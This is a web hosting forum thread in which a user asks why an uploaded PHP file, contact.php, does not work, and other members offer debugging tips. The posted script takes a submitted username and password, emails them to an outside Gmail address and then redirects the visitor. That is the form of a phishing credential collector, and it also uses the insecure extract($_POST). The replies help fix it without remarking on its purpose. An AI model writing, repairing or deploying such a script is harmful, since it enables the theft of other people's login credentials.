FRIHOST FORUMS SEARCH FAQ TOS BLOGS COMPETITIONS
You are invited to Log in or Register a free Frihost Account!


Uploading a .php file! NEED HELP thanks





shisamandisa
I am using the frihost.com hosting and i go to file manager, then when i upload my .php, everything is fine... i click on it, and it doesnt work at all... here is the code and the link:

Code:

<?php
@extract($_POST);
$username=$_POST['username'];
$password=$_POST['password'];
mail('email@gmail.com', $username, $password, "From: $username");
header("Location: anysite.com");
?>


The link: http://www.shisamandisa.frih.net:2222/CMD_FILE_MANAGER/domains/shisamandisa.frih.net/public_html/contact.php

Any help would be appreciated
benjad
Ok, let's try a few things here...


1. Why are you using an @ symbol in front of the extract statement. Googled the hell out of @extract, and couldn't find any reference to it.

2. extract() will create $username and $password if they were in the post, so shouldn't need $usernam= and $ password= . In fact, if extract is getting the information and clearing $_post, this step could be setting them equal to "".


Comment out the mail, and header, and just echo the $username and $password first.
Traveller
Don't forget: PHP is just a programming language, and does nothing that would actually display on a web page unless you tell it to do so, and there still must be some HTML. The code you listed sends a header, but there is no BODY (i.e. nothing to display), unless there is more to that .php file than you're showing us or, perhaps, it is included within some other PHP file that produces some output.
Bondings
You need to access it on http://shisamandisa.frih.net/contact.php and not on the url of the file manager, that one is just to view the files.

About the syntax, I'm not sure if it would work.

To try out if php works, make a something.php file with contents <? echo "test"; ?> and see what it outputs.
Related topics
Cron jobs - running a php file
[PHP doubt]Knowing the directory location of PHP file
is there any way to trigger a .php file without refreshing?
PHP Read File Help needed.
User Viewing A PHP File
send variable from php tp php file
PHP beginner help!!!
PHP File Read, and File Check?
Limiting php file functions with .htaccess
Referencing a php file
Remote php file access and reading
Is there any restrict MB of uploading database file?
including javascript in php file
php project help needed please
Reply to topic    Frihost Forum Index -> Support and Web Hosting -> Web Hosting Support

FRIHOST HOME | FAQ | TOS | ABOUT US | CONTACT US | SITE MAP
© 2005-2011 Frihost, forums powered by phpBB.